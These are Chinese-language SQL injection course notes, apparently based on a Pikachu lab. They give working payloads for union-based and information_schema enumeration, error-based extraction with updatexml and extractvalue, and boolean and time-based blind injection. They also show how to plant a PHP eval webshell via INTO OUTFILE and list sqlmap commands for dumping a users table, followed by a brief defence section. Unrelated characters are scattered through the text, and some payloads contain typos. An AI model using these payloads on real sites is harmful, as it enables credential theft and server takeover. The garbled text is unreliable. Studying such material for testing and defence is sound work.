整理自: https://www.ichunqiu.com/course/63879
SQL Injection概述
- 黑客在互聯(lián)網(wǎng)區(qū)域構(gòu)建sql語句滤奈,控制后臺sql查詢語句,實現(xiàn)攻擊屡拨。
二、SQL Injection 滲透測試流程
第一步:注入點(diǎn)探測
- 自動方式:使用web漏洞掃描工具雄人,自動進(jìn)行注入點(diǎn)發(fā)現(xiàn)
- 手動方式:手工構(gòu)造sql injection測試語句進(jìn)行注入點(diǎn)發(fā)現(xiàn)
第二步:信息獲取
- 通過注入點(diǎn)取期望得到的數(shù)據(jù)
- 1.環(huán)境信息:數(shù)據(jù)庫類型哟冬,數(shù)據(jù)庫版本,操作系統(tǒng)版本捞镰,用戶信息等
- 2.數(shù)據(jù)庫信息:數(shù)據(jù)庫名稱闸与,數(shù)據(jù)庫表,表字段岸售,字段內(nèi)容(加密內(nèi)容破解)
第三步:獲取權(quán)限
- 獲取操作系統(tǒng)權(quán)限:通過數(shù)據(jù)庫執(zhí)行shell践樱,上傳木馬
常見注入點(diǎn)類型
- 數(shù)字型 user_id=$id
- 字符型 user_id='$id'
- 搜索型 text LIKE '%{'"
如何判斷注入點(diǎn)的類型
案例演示
1.數(shù)字型注入演示
-
打開目標(biāo)站點(diǎn),抓包分析凸丸,數(shù)字型=$id
-
結(jié)合后端源碼分析 拷邢,后端獲取的id值沒有做處理直接拼接到sql語句中,select username屎慢,email from member where + 拼接的值瞭稼,如果是1 or 1=1的話,會把member表中所有username腻惠,email都查詢出來环肘。
2.字符型注入演示
-
根據(jù)瀏覽器url的變化,分析出為get請求集灌,字符串型悔雹,字符串在select中要加''
-
抓包
-
添加 or 1=1,失敗
- 因為字符串會加'',所以name變量前邊后臺已經(jīng)有一個'了绝页,發(fā)送過去后荠商,后臺會再添加一個',所以select語句變量為'123 or 1=1'是查不到東西的。應(yīng)該改成123' or 1=1# ,這樣的話后臺就變成了'123' or 1=1 ,#起注釋的作用续誉。
-
后端代碼分析
搜索型注入
-
構(gòu)造閉合
-
后臺代碼分析莱没。對查詢變量沒有做處理,直接拼接到查詢語句中了酷鸦。
XX型
-
后端源碼分析可得構(gòu)造閉合的方式
-
利用漏洞饰躲,構(gòu)造閉合sql語句
- 總結(jié):總而言之牙咏,就是對sql中的各種類型的輸入進(jìn)行閉合測試,構(gòu)造合法sql嘹裂,欺騙后臺妄壶。
union注入
- union聯(lián)合查詢:可以通過聯(lián)合查詢來查詢指定的數(shù)據(jù)
- 用法舉例: select username,password from user where id=1 union select 字段1寄狼,字段2from 表名 聯(lián)合查詢的字段數(shù)需要和主查詢一致
-
數(shù)據(jù)庫中演示
-
如何判斷主查詢的字段數(shù)丁寄。構(gòu)造的sql語句中 用order by 數(shù)字,按列排序來判斷有幾列
-
實踐
information_schema注入
-
知識點(diǎn):
information_schema mysql中的信息數(shù)據(jù)庫泊愧,保存著mysql維護(hù)的其它數(shù)據(jù)庫的信息伊磺。要了解兩張表。1.tables表(提供了關(guān)于數(shù)據(jù)庫中的表的信息(包括視圖)删咱。詳細(xì)表述了某個表屬于哪個schema屑埋,表類型,表[引擎]痰滋,創(chuàng)建時間等信息)中table_name 表名稱摘能、table_schema數(shù)據(jù)表所屬的數(shù)據(jù)庫名、table_type表類型[system view|base table]敲街、engine使用的數(shù)據(jù)庫引擎[MyISAM|CSV|InnoDB]团搞、version版本,默認(rèn)值10字段;2.COLUMNS表:提供了表中的列信息聪富。詳細(xì)表述了某張表的所有列以及每個列的信息莺丑。TABLE_SCHEMA 表格所屬的庫著蟹,TABLE_NAME 表名墩蔓,COLUMN_NAME字名,ORDINAL_POSITION字段標(biāo)識。
所以獲取用戶名和密碼字段的思路為:在找到注入點(diǎn)萧豆,判斷出union 可用的字段后奸披,判斷出所用的數(shù)據(jù)庫名字和用戶名字,然后再information_schema中查看對應(yīng)的數(shù)據(jù)庫(table_schema)有哪幾個表(table_name)涮雷,然后在columns查看對應(yīng)的表有哪些字段阵面。
-
測試是否存在注入點(diǎn)
-
判斷查詢有幾個字段。兩個洪鸭。
-
判斷數(shù)據(jù)庫名字和用戶名字
-
構(gòu)造payload样刷。獲取表名 kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
-
構(gòu)造payload獲取字段名
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
*構(gòu)造payload 獲取內(nèi)容
kobe' union select username,password from users#
基于函數(shù)報錯的注入
- 知識點(diǎn)
- 常用的報錯函數(shù)updatexml()\extravalue()、floot()
- 基于函數(shù)報錯的信息獲取(selelect/insert/update/delete)
- 技巧思路
- 在mysql中使用一些指定的函數(shù)來制造報錯览爵,從而從報錯信息中獲取設(shè)定的信息置鼻。select/insert/update/delete都可以使用報錯來獲取信息。
- 三個常用的用來報錯的函數(shù)
updatexml(): 函數(shù)是mysql對xml文檔數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù)
作用:改變(查找并替換)xml文檔中符合條件的節(jié)點(diǎn)的值
語法:updatexml(xml_document,xpathstring,new_value)
第一個參數(shù):fiedname是string格式蜓竹,為表中的字段名箕母。
第二個參數(shù):xpathstring(xpath格式的字符串)
第三個參數(shù):new_value,string格式储藐,替換查找到符合條件的
xpath定位必須是有效的,否則會發(fā)生錯誤
xpathstring可以是表達(dá)式嘶是,會執(zhí)行
extractvalue():函數(shù)也是mysql對xml文檔數(shù)據(jù)進(jìn)行查詢的xpath函數(shù)钙勃。
floor():mysql中用來取整的函數(shù) - 背景條件
- 后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法錯誤時會輸出在最前端聂喇。
演示
*找到注入點(diǎn)后辖源,構(gòu)造payload。 l' and updatexml(1,version(),0)#
-
構(gòu)造payload 輸出完整結(jié)果 concat()將里邊的數(shù)據(jù)拼接成字符串 l' and updatexml(1,concat(0x7e,version()),0)#
-
l' and updatexml(1,concat(0x7e,database()),0)#
-
l' and updatexml(1,concat(0x7e, (select username from users)),0)#
-
l' and updatexml(1,concat(0x7e, (select username from users limit 0,1)),0)#
基于insert update delete的注入利用案
extractvalue()
- 作用
- 從目標(biāo)xml中返回包含所查詢值的字符串
語法:extractvalue(xml_document,xpath_string)
第一個參數(shù):xml_document是string格式希太,為xml文檔對象的名稱同木,文中為doc
第二個參數(shù):xpath_string(xpath格式的字符串)
xpath定位必須是有效的,否則會發(fā)生錯誤 - 演示
-
構(gòu)造payload跛十,s' and extractvalue(0,concat(0x7e,version()))#
http header注入
- 后臺開發(fā)人員為了驗證客戶端頭信息比如常用的cookie驗證或者通過http header頭信息獲取客戶端的一些信息彤路,比如useragent、accept字段等
-
會對客戶端的http header信息進(jìn)行獲取并使用sql進(jìn)行處理芥映,如果此時沒有足夠的安全考慮會導(dǎo)致基于http header的sql injection漏洞
-
firefox' or updatexml(1,concat(0x7e,database( )),0) or '
盲注
- 什么是盲注以及常見的盲注類型
服務(wù)器沒有開啟錯誤回顯洲尊,屏蔽了報錯信息。 -
基于boolean(true or false)的盲注測試
-
構(gòu)造paylod進(jìn)行判斷奈偏。
kobe' and ascii(substr(database(),1,1))>113#
kobe' and ascii(substr(database(),1,1))>112#
kobe' and ascii(substr(database(),1,1))>111#
112 對應(yīng)p
盲注頁面只返回正確的值或者輸入錯誤坞嘀。利用ascii進(jìn)行判斷;利用長度判斷
-
基于time的盲注測試
** kobe' and sleep(5)#
** kobe' and if((substr(database()),1,1))='a',sleep(5),null)#
** kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
對服務(wù)器遠(yuǎn)程控制案例
- 一句話木馬
- 如何通過into outfile寫入惡意代碼并控制os
** select 1,2 into outfile " var/www/html/1.txt"
** into outfile 將select的結(jié)果寫入到指定目錄的1.txt中
** 在一些沒有回顯的注入中可以使用into outfile將結(jié)果寫入到指定文件惊来,然后訪問獲取
前提條件
1.需要知道遠(yuǎn)程目錄
2.需要遠(yuǎn)程目錄有寫權(quán)限
3.需要數(shù)據(jù)庫開啟了secure_file_priv
kobe' union select "<?php @eval(_GET['cmd'])?>",2 into outfile "C:\xampp\htdocs\2.php"#
暴力破解在sql中的應(yīng)用
-
kobe' and exsits(select * from aa)#
sql漏洞防范
-
代碼層面
1.對輸入進(jìn)行嚴(yán)格的轉(zhuǎn)義和過濾
2.使用預(yù)處理和參數(shù)化
*網(wǎng)絡(luò)層面
1.通過waf設(shè)備啟用sql injection注入策略(或類似防護(hù)系統(tǒng))
2.云端防護(hù)(360網(wǎng)站衛(wèi)士丽涩,阿里云盾等)
推薦預(yù)處理
sqlmap簡單使用方法
經(jīng)典用法
第一步:
-u "xxx" --cookie="yyy" //帶上cookie對url進(jìn)行注入探測
第二部
-u "xxx" --cookie="yyy" -current-db //對數(shù)據(jù)庫名進(jìn)行獲取
第三步:
-u "xxx" --cookie="yyy" -D pikaku --tables //對數(shù)據(jù)庫的表名進(jìn)行枚舉
第四步:
-u "xxx" --cookie="yyy" -D pikaku -T users ==columns //對
pikaku里面名為users表的列名進(jìn)行枚舉